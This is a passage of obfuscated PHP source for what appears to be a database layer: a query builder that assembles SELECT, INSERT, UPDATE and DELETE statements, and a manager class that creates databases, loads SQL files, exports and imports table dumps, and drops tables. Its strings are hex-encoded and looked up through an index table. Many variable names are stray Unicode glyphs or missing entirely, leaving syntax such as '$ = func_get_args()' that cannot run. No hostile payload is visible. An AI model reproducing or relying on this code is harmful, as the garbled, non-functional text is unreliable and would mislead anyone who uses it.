"\x62\x65\164\167\145\x65\x6e" => "\x42\x45\x54\x57\105\x45\x4e", "\156\x6f\x74\x62\145\x74\167\145\x65\156" => "\x4e\117\124\40\x42\105\x54\127\105\105\116", "\x6e\x6f\x74\x20\142\145\x74\x77\x65\145\x6e" => "\116\117\124\x20\x42\x45\124\127\105\x45\116"); protected $selectSql = "\x53\x45\x4c\105\103\124\45\x44\x49\123\124\111\x4e\103\124\x25\x20\x25\106\111\105\x4c\104\45\x20\x46\122\117\115\x20\45\x54\x41\x42\114\x45\x25\45\112\x4f\111\116\x25\45\x57\x48\x45\122\x45\x25\x25\107\x52\117\x55\120\45\45\110\x41\x56\111\x4e\x47\x25\45\x4f\x52\104\x45\122\x25\x25\x4c\x49\x4d\x49\124\45\40\45\125\116\x49\x4f\x4e\x25\x25\103\x4f\x4d\115\105\x4e\124\x25"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1010], $); } public function factory($寄 = '') { $䮬 =& $_SERVER[]; $寄 = $this->parseConfig($寄); if (empty($寄[$䮬[1011]])) { think_exception(think_lang($䮬[1012])); } $this->dbType = ucwords(strtolower($寄[$䮬[1011]])); $ = $䮬[1013] . $this->dbType; if (class_exists($)) { $ = new $($寄); if ($䮬[1014] != strtolower($寄[$䮬[1011]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($寄[$䮬[964]]); } } else { think_exception(think_lang($䮬[1015]) . $䮬[1016] . $); } return $; } public function __call($, $ȯ) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $ȯ); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $ֻ = strtoupper(trim($[0])); return $ֻ; } private function parseConfig($ = '') { $ԟ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($ԟ[1011] => $[$ԟ[1017]], $ԟ[936] => $[$ԟ[1018]], $ԟ[937] => $[$ԟ[1019]], $ԟ[934] => $[$ԟ[1020]], $ԟ[935] => $[$ԟ[1021]], $ԟ[21] => $[$ԟ[1022]], $ԟ[964] => $[$ԟ[1023]], $ԟ[17] => isset($[$ԟ[1024]]) ? $[$ԟ[1024]] : array()); } elseif (empty($)) { if (think_config($ԟ[1025]) && $ԟ[1014] != strtolower(think_config($ԟ[1026]))) { $ = $this->parseDSN(think_config($ԟ[1025])); } else { $ = array($ԟ[1011] => think_config($ԟ[1026]), $ԟ[936] => think_config($ԟ[1027]), $ԟ[937] => think_config($ԟ[1028]), $ԟ[934] => think_config($ԟ[1029]), $ԟ[935] => think_config($ԟ[1030]), $ԟ[21] => think_config($ԟ[298]), $ԟ[964] => think_config($ԟ[1025]), $ԟ[17] => think_config($ԟ[1031])); } } return $; } protected function initConnect($˞ߥ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($˞ߥ); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $§ó => $΋Ӗ) { $this->_linkID = $΋Ӗ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ =& $_SERVER[]; static $ׁ = array(); static $ױ = -1; if (empty($ׁ)) { foreach ($this->config as $̨ => $ͥű) { $ׁ[$̨] = explode($[50], $ͥű); } } if (think_config($[1032])) { if ($ || think_config($[446]) === !0) { $ = floor(mt_rand(0, think_config($[1033]) - 1)); $ױ = $; } else { if (is_numeric(think_config($[1034]))) { $ = think_config($[1034]); } else { $ = floor(mt_rand(think_config($[1033]), count($ׁ[$[934]]) - 1)); } } } else { $ = floor(mt_rand(0, count($ׁ[$[934]]) - 1)); $ױ = $; } $ = $ױ !== -1 ? $ױ : $; $ij = array($[936] => isset($ׁ[$[936]][$]) ? $ׁ[$[936]][$] : $ׁ[$[936]][0], $[937] => isset($ׁ[$[937]][$]) ? $ׁ[$[937]][$] : $ׁ[$[937]][0], $[934] => isset($ׁ[$[934]][$]) ? $ׁ[$[934]][$] : $ׁ[$[934]][0], $[935] => isset($ׁ[$[935]][$]) ? $ׁ[$[935]][$] : $ׁ[$[935]][0], $[21] => isset($ׁ[$[21]][$]) ? $ׁ[$[21]][$] : $ׁ[$[21]][0], $[964] => isset($ׁ[$[964]][$]) ? $ׁ[$[964]][$] : $ׁ[$[964]][0], $[17] => isset($ׁ[$[17]][$]) ? $ׁ[$[17]][$] : $ׁ[$[17]][0]); return $this->connect($ij, $); } public function parseDSN($’) { $Ϣ =& $_SERVER[]; if (empty($’)) { return !1; } $ = parse_url($’); if ($[$Ϣ[198]]) { $ݍ = array($Ϣ[1011] => $[$Ϣ[198]], $Ϣ[936] => isset($[$Ϣ[637]]) ? $[$Ϣ[637]] : $Ϣ[12], $Ϣ[937] => isset($[$Ϣ[1035]]) ? $[$Ϣ[1035]] : $Ϣ[12], $Ϣ[934] => isset($[$Ϣ[199]]) ? $[$Ϣ[199]] : $Ϣ[12], $Ϣ[935] => isset($[$Ϣ[200]]) ? $[$Ϣ[200]] : $Ϣ[12], $Ϣ[21] => isset($[$Ϣ[87]]) ? substr($[$Ϣ[87]], 1) : $Ϣ[12]); } else { preg_match($Ϣ[1036], trim($’), $); $ݍ = array($Ϣ[1011] => $[1], $Ϣ[936] => $[2], $Ϣ[937] => $[3], $Ϣ[934] => $[4], $Ϣ[935] => $[5], $Ϣ[21] => $[6]); } $ݍ[$Ϣ[964]] = $Ϣ[12]; return $ݍ; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1037]; if (think_config($[1038])) { think_status($[1039]); think_trace($this->queryStr . $[1040] . think_status($[24], $[1039], 6) . $[1041], $[12], $[1042]); } } protected function parseLock($뉓 = false) { $Ѧ =& $_SERVER[]; if (!$뉓) { return $Ѧ[12]; } if ($Ѧ[966] == $this->dbType) { return $Ѧ[1043]; } return $Ѧ[1044]; } protected function parseSet($㶋) { $… =& $_SERVER[]; foreach ($㶋 as $ => $嶿) { if (is_array($嶿) && $…[348] == $嶿[0]) { $€[] = $this->parseKey($) . $…[932] . $嶿[1]; } elseif (is_scalar($嶿) || is_null($嶿)) { $€[] = $this->parseKey($) . $…[932] . $this->parseValue($嶿); } } return $…[1045] . implode($…[50], $€); } protected function bindParam($, $) { $this->bind[$_SERVER[][4] . $] = $; } protected function parseBind($ᴫ) { $ᴫ = array_merge($this->bind, $ᴫ); $this->bind = array(); return $ᴫ; } function parseKey(&$ߓ, $ʨ = true) { if ($ʨ) { $ߓ = $this->parseKeyCheck($ߓ); } return $ߓ; } function parseKeyCheck($) { $Ɨ =& $_SERVER[]; $ = trim($); if (!preg_match($Ɨ[1046], $)) { think_exception($Ɨ[1047] . $); } return $; } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = $[1005] . $this->escapeString($) . $[1005]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[348]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1006]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[219]; } elseif (is_null($)) { $ = $[106]; } return $; } protected function parseField($ܑˇҍ) { $ߋ =& $_SERVER[]; if (is_string($ܑˇҍ) && strpos($ܑˇҍ, $ߋ[50])) { $ܑˇҍ = explode($ߋ[50], $ܑˇҍ); } if (is_array($ܑˇҍ)) { $ = array(); foreach ($ܑˇҍ as $̲ => $ń) { if (!is_numeric($̲)) { $[] = $this->parseKey($̲, !1) . $ߋ[1048] . $this->parseKey($ń); } else { $[] = $this->parseKey($ń); } } $ = implode($ߋ[50], $); } elseif (is_string($ܑˇҍ) && !empty($ܑˇҍ)) { $ = $ܑˇҍ; } else { $ = $ߋ[211]; } return $; } protected function parseTable($׀) { $ =& $_SERVER[]; if (is_array($׀)) { $Ԯ = array(); foreach ($׀ as $Ɋ => $) { if (!is_numeric($Ɋ)) { $Ԯ[] = $this->parseKey($Ɋ) . $[53] . $this->parseKey($); } else { $Ԯ[] = $this->parseKey($Ɋ); } } $׀ = $Ԯ; } elseif (is_string($׀)) { if (strstr($׀, $[53])) { return $׀; } $׀ = explode($[50], $׀); array_walk($׀, array($this, $[954])); } return $[948] . trim(implode($[1049], $׀), $[436]) . $[948]; } protected function parseWhere($Ԃ) { $ϴ =& $_SERVER[]; $с = $ϴ[12]; if (is_string($Ԃ)) { $с = $Ԃ; } else { $ = isset($Ԃ[$ϴ[1050]]) ? strtoupper($Ԃ[$ϴ[1050]]) : $ϴ[12]; if (in_array($, array($ϴ[1051], $ϴ[1052], $ϴ[1053]))) { $ = $ϴ[53] . $ . $ϴ[53]; unset($Ԃ[$ϴ[1050]]); } else { $ = $ϴ[1054]; } foreach ($Ԃ as $ => $) { $с .= $ϴ[329]; if (is_numeric($)) { $ = $ϴ[1055]; } if (0 === strpos($, $ϴ[11])) { $с .= $this->parseThinkWhere($, $); } else { if (!preg_match($ϴ[1056], trim($))) { think_exception(think_lang($ϴ[1057]) . $ϴ[4] . $); } $頴 = is_array($) && isset($[$ϴ[1058]]); $ = trim($); if (strpos($, $ϴ[205])) { $ÄӬ = explode($ϴ[205], $); $̧ = array(); foreach ($ÄӬ as $ݞ => $) { $ = $頴 ? $[$ݞ] : $; $̧[] = $ϴ[312] . $this->parseWhereItem($this->parseKey($), $) . $ϴ[953]; } $с .= implode($ϴ[1059], $̧); } elseif (strpos($, $ϴ[335])) { $ÄӬ = explode($ϴ[335], $); $̧ = array(); foreach ($ÄӬ as $ݞ => $) { $ = $頴 ? $[$ݞ] : $; $̧[] = $ϴ[312] . $this->parseWhereItem($this->parseKey($), $) . $ϴ[953]; } $с .= implode($ϴ[1054], $̧); } else { $с .= $this->parseWhereItem($this->parseKey($), $); } } $с .= $ϴ[330] . $; } $с = substr($с, 0, -strlen($)); } return empty($с) ? $ϴ[12] : $ϴ[1060] . $с; } protected function parseWhereItem($뺖, $Ԩ) { $ڹ =& $_SERVER[]; $ⷅר = $ڹ[12]; if (is_array($Ԩ)) { if (is_string($Ԩ[0])) { $׺ = strtolower($Ԩ[0]); if (in_array($Ԩ[0], array($ڹ[932], $ڹ[1061], $ڹ[1062], $ڹ[1063], $ڹ[1064], $ڹ[1065]))) { $ⷅר .= $뺖 . $ڹ[53] . $Ԩ[0] . $ڹ[53] . $this->parseValue($Ԩ[1]); } elseif (preg_match($ڹ[1066], $Ԩ[0])) { $ⷅר .= $뺖 . $ڹ[53] . $this->exp[$׺] . $ڹ[53] . $this->parseValue($Ԩ[1]); } elseif (preg_match($ڹ[1067], $Ԩ[0])) { if (is_array($Ԩ[1])) { $ˆ = isset($Ԩ[2]) ? strtoupper($Ԩ[2]) : $ڹ[1052]; if (in_array($ˆ, array($ڹ[1051], $ڹ[1052], $ڹ[1053]))) { $͑ = array(); foreach ($Ԩ[1] as $) { $͑[] = $뺖 . $ڹ[53] . $this->exp[$׺] . $ڹ[53] . $this->parseValue($); } $ⷅר .= $ڹ[312] . implode($ڹ[53] . $ˆ . $ڹ[53], $͑) . $ڹ[953]; } } else { $ⷅר .= $뺖 . $ڹ[53] . $this->exp[$׺] . $ڹ[53] . $this->parseValue($Ԩ[1]); } } elseif ($ڹ[348] == $׺) { $ⷅר .= $ڹ[951] . $뺖 . $ڹ[53] . $Ԩ[1] . $ڹ[1068]; } elseif (preg_match($ڹ[1069], $Ԩ[0])) { $ⷅר .= $Ԩ[0]; } elseif (preg_match($ڹ[1070], $Ԩ[0])) { if (isset($Ԩ[2]) && $ڹ[348] == $Ԩ[2]) { $ⷅר .= $뺖 . $ڹ[53] . $this->exp[$׺] . $ڹ[53] . $Ԩ[1]; } else { if (is_string($Ԩ[1])) { $Ԩ[1] = explode($ڹ[50], $Ԩ[1]); } $ = implode($ڹ[50], $this->parseValue($Ԩ[1])); $ⷅר .= $뺖 . $ڹ[53] . $this->exp[$׺] . $ڹ[951] . $ . $ڹ[953]; } } elseif (preg_match($ڹ[1071], $Ԩ[0])) { $Ūڒ = is_string($Ԩ[1]) ? explode($ڹ[50], $Ԩ[1]) : $Ԩ[1]; $ⷅר .= $ڹ[951] . $뺖 . $ڹ[53] . $this->exp[$׺] . $ڹ[53] . $this->parseValue($Ūڒ[0]) . $ڹ[1054] . $this->parseValue($Ūڒ[1]) . $ڹ[330]; } else { think_exception(think_lang($ڹ[1057]) . $ڹ[4] . $Ԩ[0]); } } else { $ = count($Ԩ); $ = $ڹ[12]; if (is_string($Ԩ[$ - 1])) { $ = isset($Ԩ[$ - 1]) ? strtoupper($Ԩ[$ - 1]) : $ڹ[12]; if (in_array($, array($ڹ[1051], $ڹ[1052], $ڹ[1053]))) { $ = $ - 1; } } else { $ = $ڹ[1051]; } for ($¸ = 0; $¸ < $; $¸++) { $Ūڒ = is_array($Ԩ[$¸]) ? $Ԩ[$¸][1] : $Ԩ[$¸]; if ($ڹ[348] == strtolower($Ԩ[$¸][0])) { $ⷅר .= $ڹ[312] . $뺖 . $ڹ[53] . $Ūڒ . $ڹ[1068] . $ . $ڹ[53]; } else { $̕ = is_array($Ԩ[$¸]) ? $this->exp[strtolower($Ԩ[$¸][0])] : $ڹ[932]; if (!$̕ && is_array($Ԩ[$¸]) && in_array($Ԩ[$¸][0], array($ڹ[932], $ڹ[1061], $ڹ[1062], $ڹ[1063], $ڹ[1064], $ڹ[1065]))) { $̕ = $Ԩ[$¸][0]; } $ⷅר .= $ڹ[312] . $뺖 . $ڹ[53] . $̕ . $ڹ[53] . $this->parseValue($Ūڒ) . $ڹ[1068] . $ . $ڹ[53]; } } $ⷅר = substr($ⷅר, 0, -4); } } else { $ⷅר .= $뺖 . $ڹ[1072] . $this->parseValue($Ԩ); } return $ⷅר; } protected function parseThinkWhere($갗, $򡅰) { $ =& $_SERVER[]; $ = $[12]; switch ($갗) { case $[403]: $ = $򡅰; break; case $[1055]: $ = is_string($򡅰) ? $򡅰 : substr($this->parseWhere($򡅰), 6); break; case $[1073]: parse_str($򡅰, $); if (isset($[$[1050]])) { $効 = $[53] . strtoupper($[$[1050]]) . $[53]; unset($[$[1050]]); } else { $効 = $[1054]; } $߼ = array(); foreach ($ as $ڒ => $лͣ) { $߼[] = $this->parseKey($ڒ) . $[1072] . $this->parseValue($лͣ); } $ = implode($効, $߼); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($Ŷ) { $ =& $_SERVER[]; $ = $[12]; if (!empty($Ŷ)) { if (is_array($Ŷ)) { foreach ($Ŷ as $ => $֐) { if (!1 !== stripos($֐, $[1074])) { $ .= $[53] . $֐; } else { $ .= $[1075] . $֐; } } } else { $ .= $[1075] . $Ŷ; } } $ = preg_replace($[1076], think_config($[978]) . $[1077], $); return $; } protected function parseOrder($) { $Ϙ =& $_SERVER[]; if (is_array($)) { $ΐ = array(); foreach ($ as $ζ => $䊜) { if (is_numeric($ζ)) { $ΐ[] = $this->parseKey($䊜); } else { $䊜 = in_array(strtoupper(trim($䊜)), array($Ϙ[1078], $Ϙ[1079])) ? $Ϙ[53] . $䊜 : $Ϙ[12]; if (preg_match($Ϙ[1080], $ζ)) { $ΐ[] = $this->parseKey($ζ) . $䊜; } else { think_exception($Ϙ[1081] . $ζ); } } } $ = implode($Ϙ[50], $ΐ); } return !empty($) ? $Ϙ[1082] . $ : $Ϙ[12]; } protected function parseGroup($󃳕) { $̯ =& $_SERVER[]; return !empty($󃳕) ? $̯[1083] . $󃳕 : $̯[12]; } protected function parseHaving($) { $ =& $_SERVER[]; return !empty($) ? $[1084] . $ : $[12]; } protected function parseComment($䙋) { $ =& $_SERVER[]; return !empty($䙋) ? $[1085] . $䙋 . $[1086] : $[12]; } protected function parseDistinct($؇) { $˜ =& $_SERVER[]; return !empty($؇) ? $˜[1087] : $˜[12]; } protected function parseUnion($է) { $ =& $_SERVER[]; if (empty($է)) { return $[12]; } if (isset($է[$[399]])) { $Œ = $[1088]; unset($է[$[399]]); } else { $Œ = $[1089]; } foreach ($է as $) { $[] = $Œ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($[53], $); } public function insert($, $ɓ = array(), $í = false) { $݁ =& $_SERVER[]; $ = $å = array(); $this->model = $ɓ[$݁[333]]; foreach ($ as $յ => $) { if (is_array($) && $݁[348] == $[0]) { $å[] = $this->parseKey($յ); $[] = $[1]; } elseif (is_scalar($) || is_null($)) { $å[] = $this->parseKey($յ); $[] = $this->parseValue($); } } $ = ($í ? $݁[955] : $݁[956]) . $݁[957] . $this->parseTable($ɓ[$݁[331]]) . $݁[951] . implode($݁[50], $å) . $݁[952] . implode($݁[50], $) . $݁[953]; $ .= $this->parseLock(isset($ɓ[$݁[888]]) ? $ɓ[$݁[888]] : !1); $ .= $this->parseComment(!empty($ɓ[$݁[405]]) ? $ɓ[$݁[405]] : $݁[12]); return $this->execute($, $this->parseBind(!empty($ɓ[$݁[336]]) ? $ɓ[$݁[336]] : array())); } public function selectInsert($, $ש, $ػ = array()) { $ =& $_SERVER[]; $this->model = $ػ[$[333]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[954])); $؜ = $[1090] . $this->parseTable($ש) . $[951] . implode($[50], $) . $[1068]; $؜ .= $this->buildSelectSql($ػ); return $this->execute($؜, $this->parseBind(!empty($ػ[$[336]]) ? $ػ[$[336]] : array())); } public function update($ۼ, $Ū) { $ƭ =& $_SERVER[]; $this->model = $Ū[$ƭ[333]]; $ = $ƭ[1091] . $this->parseTable($Ū[$ƭ[331]]) . $this->parseSet($ۼ) . $this->parseWhere(!empty($Ū[$ƭ[327]]) ? $Ū[$ƭ[327]] : $ƭ[12]) . $this->parseOrder(!empty($Ū[$ƭ[416]]) ? $Ū[$ƭ[416]] : $ƭ[12]) . $this->parseLimit(!empty($Ū[$ƭ[343]]) ? $Ū[$ƭ[343]] : $ƭ[12]) . $this->parseLock(isset($Ū[$ƭ[888]]) ? $Ū[$ƭ[888]] : !1) . $this->parseComment(!empty($Ū[$ƭ[405]]) ? $Ū[$ƭ[405]] : $ƭ[12]); return $this->execute($, $this->parseBind(!empty($Ū[$ƭ[336]]) ? $Ū[$ƭ[336]] : array())); } public function delete($ = array()) { $ܳ =& $_SERVER[]; $this->model = $[$ܳ[333]]; $ = $ܳ[1092] . $this->parseTable($[$ܳ[331]]) . $this->parseWhere(!empty($[$ܳ[327]]) ? $[$ܳ[327]] : $ܳ[12]) . $this->parseOrder(!empty($[$ܳ[416]]) ? $[$ܳ[416]] : $ܳ[12]) . $this->parseLimit(!empty($[$ܳ[343]]) ? $[$ܳ[343]] : $ܳ[12]) . $this->parseLock(isset($[$ܳ[888]]) ? $[$ܳ[888]] : !1) . $this->parseComment(!empty($[$ܳ[405]]) ? $[$ܳ[405]] : $ܳ[12]); return $this->execute($, $this->parseBind(!empty($[$ܳ[336]]) ? $[$ܳ[336]] : array())); } public function select($㴴 = array()) { $縝 =& $_SERVER[]; $this->model = $㴴[$縝[333]]; $߬ = $this->buildSelectSql($㴴); $ = isset($㴴[$縝[400]]) ? $㴴[$縝[400]] : !1; if ($) { $ = is_string($[$縝[97]]) ? $[$縝[97]] : $縝[1093] . md5($߬); $ܸ = think_cache($, $縝[12], $); if (!1 !== $ܸ) { return $ܸ; } } $ = $this->query($߬, $this->parseBind(!empty($㴴[$縝[336]]) ? $㴴[$縝[336]] : array())); if ($ && !1 !== $) { think_cache($, $, $); } return $; } public function buildSelectSql($ = array()) { $ҡ =& $_SERVER[]; if (isset($[$ҡ[404]])) { if (strpos($[$ҡ[404]], $ҡ[50])) { list($Щ, $ɱق) = explode($ҡ[50], $[$ҡ[404]]); } else { $Щ = $[$ҡ[404]]; } $Щ = $Щ ? $Щ : 1; $ɱق = isset($ɱق) ? $ɱق : (is_numeric($[$ҡ[343]]) ? $[$ҡ[343]] : 20); $ = $ɱق * ((int) $Щ - 1); $[$ҡ[343]] = $ . $ҡ[50] . $ɱق; } if (think_config($ҡ[1094])) { $Ǫ = $ҡ[1095] . md5(serialize($)); $ = think_cache($Ǫ); if ($) { return $; } } $œ = $this->parseSql($this->selectSql, $); $œ .= $this->parseLock(isset($[$ҡ[888]]) ? $[$ҡ[888]] : !1); if (isset($Ǫ)) { think_cache($Ǫ, $œ); } return $œ; } public function parseSql($ٴ, $¶؅ = array()) { $ₔ =& $_SERVER[]; $ٴ = str_replace(array($ₔ[1096], $ₔ[1097], $ₔ[1098], $ₔ[1099], $ₔ[1100], $ₔ[1101], $ₔ[1102], $ₔ[1103], $ₔ[1104], $ₔ[1105], $ₔ[1106]), array($this->parseTable("{$¶؅[$ₔ[331]]}"), $this->parseDistinct(isset($¶؅[$ₔ[1107]]) ? $¶؅[$ₔ[1107]] : !1), $this->parseField(!empty($¶؅[$ₔ[325]]) ? $¶؅[$ₔ[325]] : $ₔ[211]), $this->parseJoin(!empty($¶؅[$ₔ[334]]) ? $¶؅[$ₔ[334]] : $ₔ[12]), $this->parseWhere(!empty($¶؅[$ₔ[327]]) ? $¶؅[$ₔ[327]] : $ₔ[12]), $this->parseGroup(!empty($¶؅[$ₔ[554]]) ? $¶؅[$ₔ[554]] : $ₔ[12]), $this->parseHaving(!empty($¶؅[$ₔ[1108]]) ? $¶؅[$ₔ[1108]] : $ₔ[12]), $this->parseOrder(!empty($¶؅[$ₔ[416]]) ? $¶؅[$ₔ[416]] : $ₔ[12]), $this->parseLimit(!empty($¶؅[$ₔ[343]]) ? $¶؅[$ₔ[343]] : $ₔ[12]), $this->parseUnion(!empty($¶؅[$ₔ[398]]) ? $¶؅[$ₔ[398]] : $ₔ[12]), $this->parseComment(!empty($¶؅[$ₔ[405]]) ? $¶؅[$ₔ[405]] : $ₔ[12])), $ٴ); return $ٴ; } public function getLastSql($߲ = '') { return $߲ ? $this->modelSql[$߲] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($Š) { return addslashes($Š); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $ՏɊ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$ՏɊ[6]][$ՏɊ[21]]; } $this->database = $; } public function model($ؼ͆ = '') { return new ModelBase($ؼ͆, $_SERVER[][12], $this->database); } public function db($˓ = false) { $ܚ =& $_SERVER[]; $돭 = array_change_key_case($this->database); if ($this->dbType() == $ܚ[13] || !$˓) { return $this->model()->db(); } $ʦ = $돭[$ܚ[1022]]; $돭[$ܚ[1022]] = $ܚ[12]; if ($돭[$ܚ[1017]] == $ܚ[1014]) { $НɃ = $돭[$ܚ[1023]]; $돭[$ܚ[1023]] = substr($НɃ, 0, strrpos($НɃ, $ܚ[1109])); } $this->database = $돭; $ = $this->model()->db(); try { $㷅 = $->execute("\x73\150\157\167\x20\144\141\164\141\142\x61\163\x65\163\x20\x6c\x69\153\145\x20\47{$ʦ}\47"); } catch (Exception $) { } if (!$㷅) { $->execute("\143\162\x65\x61\x74\x65\40\144\141\x74\141\142\x61\163\x65\x20\140{$ʦ}\140"); } $돭[$ܚ[1022]] = $ʦ; if ($돭[$ܚ[1017]] == $ܚ[1014]) { $돭[$ܚ[1023]] .= $ܚ[1109] . $ʦ; } $this->database = $돭; $->execute("\165\x73\x65\40\140{$ʦ}\140"); return $; } public function createTable($Ω, &$ȍ) { $ =& $_SERVER[]; if (!IO::exist($Ω)) { ActionCall($[1110], !0, 0); show_json(LNG($[1111]), !1); } $ = $this->model()->db(); $֜ = sqlSplit(IO::getContent($Ω)); foreach ($֜ as $) { $ = stripos($, $[1112]) === 0; if ($) { $ȍ->task[$[1113]] += 1; } $->execute($); if ($) { preg_match($[1114], $, $Υ); $ȍ->task[$[1115]] = $Υ[1]; $ȍ->update(1); } } } public function insertTable($៰, &$ہ) { $ʭ =& $_SERVER[]; $覞 = $this->model()->db(); $Ѵ = $ ? array($) : $覞->getTables(); foreach ($៰ as $) { $ = basename($, $ʭ[832]); if (!in_array($, $Ѵ)) { continue; } $ہ->task[$ʭ[1115]] = $; if (get_filesize($) == 0) { continue; } $ޠ = $this->sqlToDb($, $ہ); if (!$ޠ) { ActionCall($ʭ[1110], !0, 0); show_json(LNG($ʭ[1116]) . "\133{$}\x5d", !1); } } } public function sqlFromDb($, $, &$Ӆ, $ձ = '') { if ($Ӆ) { $Ӆ->task[$_SERVER[][1115]] = $; } $ = $this->model($); $ = 0; $М = 0; $ķ = 10000; $̈ܤ = fopen($, $_SERVER[][1117]); $ = $->getPk(); $ = $->getDbFields(); $ݲ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][831]] && in_array($, array($_SERVER[][1118], $_SERVER[][1119]))) { $ݲ = $; } do { $Τ = array($ => array($_SERVER[][1064], $М)); $Џ = $->where($Τ)->field($)->order($ . $_SERVER[][1120])->limit($ķ)->select(); $Џ = !empty($Џ) ? $Џ : array(); if (!($ = count($Џ))) { break; } $ђՂ = end($Џ); $М = $ђՂ[$]; $Ш = array(); foreach ($Џ as $Ֆ) { if ($ݲ) { if ($ == $_SERVER[][1118]) { if ($Ֆ[$_SERVER[][33]] == $_SERVER[][1121]) { $޶ = json_decode($Ֆ[$_SERVER[][425]], !0); if ($޶[$_SERVER[][32]] == $GLOBALS[$_SERVER[][831]] && $޶[$_SERVER[][795]] != 1) { continue; } } } else { if ($Ֆ[$_SERVER[][33]] == $_SERVER[][1122] && $Ֆ[$_SERVER[][97]] == $_SERVER[][826]) { continue; } } } if ($ձ) { $Ֆ[$_SERVER[][87]] = "\173\x69\x6f\x3a{$ձ}\x7d" . substr($Ֆ[$_SERVER[][87]], strlen("\173\151\x6f\x3a{$Ֆ[$_SERVER[][861]]}\x7d")); $Ֆ[$_SERVER[][861]] = $ձ; } $Ш[] = $_SERVER[][1123] . $this->sqlEncode($Ֆ) . $_SERVER[][1124]; } $ƛ = "\x49\116\x53\x45\122\x54\x20\111\116\124\x4f\x20\x60{$}\x60\x20\x28\x60" . implode($_SERVER[][1125], $) . $_SERVER[][1126]; fwrite($̈ܤ, $ƛ . implode($_SERVER[][1127], $Ш) . $_SERVER[][74] . PHP_EOL); $ += $; if ($Ӆ) { $Ӆ->update($); } } while ($ķ == $); fclose($̈ܤ); return $; } public function sqlToDb($Ҁ, &$) { $х =& $_SERVER[]; $භ = $this->model()->db(); $ = @fopen($Ҁ, $х[1128]); if (!$) { return !1; } $ֵ = 0; $Ѩ = $х[12]; $ꆖ = array(); $˅ = $this->dbType(); $ = $˅ == $х[13] ? 500 : 2000; $Ӽ = basename($Ҁ, $х[832]); $ = 0; $ܚ = 4194304; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $ = $this->sqlDecode($, $˅, $Ӽ); if (stripos($, $х[406]) === 0) { if (!$Ѩ) { $Ѩ = $ . $х[53]; } continue; } if ($) { $->task[$х[1113]] += 1; } $ֵ++; $ꆖ[] = rtrim(rtrim(trim($), $х[50]), $х[74]); $ؔ肯 = null; $ = strlen($); $ += $; $߮ = strlen($Ѩ) + $ + (count($ꆖ) - 1); if ($߮ >= $ܚ) { $ؔ肯 = array_pop($ꆖ); if ($ֵ > 1) { $ֵ--; } } if ($ֵ >= $ || $ؔ肯) { $ = $Ѩ . implode($х[50], $ꆖ); if (!$භ->execute($)) { return !1; } if ($) { $->update($ֵ); } $ꆖ = array(); $ֵ = 0; $ = 0; if ($ؔ肯) { $ꆖ = array($ؔ肯); $ֵ = 1; $ = $; } } } fclose($); if (!empty($ꆖ)) { $ = $Ѩ . implode($х[50], $ꆖ); if (!$භ->execute($)) { return !1; } if ($) { $->update($ֵ); } } return !0; } public function dropTable($⥙ = null) { $Ȝ = $this->model()->db(); $ዙ = $⥙ ? array($⥙) : $Ȝ->getTables(); if (!$ዙ) { return; } foreach ($ዙ as $⥙) { if ($⥙) { $⥙ = strtolower($⥙); } else { continue; } $Ȝ->execute("\144\162\157\160\40\164\x61\x62\x6c\x65\40\151\x66\x20\145\x78\x69\x73\164\x73\x20\x60{$⥙}\x60"); } } private function sqlEncode($܉к) { $ߥ =& $_SERVER[]; $ߘ = array(); foreach ($܉к as $Ҝ) { if (is_array($Ҝ)) { $Ҝ = json_encode_force($Ҝ); } $Ҝ = addslashes($Ҝ); $Ҝ = str_replace(array($ߥ[1129], $ߥ[253], $ߥ[393]), array($ߥ[1130], $ߥ[1131], $ߥ[1132]), $Ҝ); $ߘ[] = $Ҝ; } return $ߥ[58] . implode($ߥ[1133], $ߘ) . $ߥ[58]; } private function sqlDecode($, $٨, $ȶժ = '') { $ =& $_SERVER[]; $ = str_replace(array($[1130], $[1131], $[1132]), array($[1129], $[253], $[393]), $); if ($٨ == $[13]) { $ = str_ireplace($[1134], $[59], $); $ = stripslashes($); } return preg_replace($[1135], $[12], $); if ($٨ == $[13]) { return $ȶժ != $[1136] ? stripslashes($) : $; } if ($ȶժ == $[1136]) { $ = str_replace($[1137], $[121], stripslashes($)); } return $; } public function getSqlFile($ = '') { $ϝ =& $_SERVER[]; $ = $this->dbType(!0); $ل = CONTROLLER_DIR . "\x69\x6e\163\164\x61\154\x6c\57\x64\x61\164\141\57{$}\56\163\x71\x6c"; $īո = file_get_contents($ل); $ޡ = $ϝ[1138] . ($ == $ϝ[848] ? $ϝ[1139] : $ϝ[1140]) . $ϝ[1141]; preg_match_all($ޡ, $īո, $̞); $Υ = $̞[1]; $ = $this->model()->db(); $ȶ׊ = $->getTables(); $ = TEMP_FILES . $ϝ[1142] . date($ϝ[263]) . $ϝ[8]; del_dir($); mk_dir($); $틤 = $ . 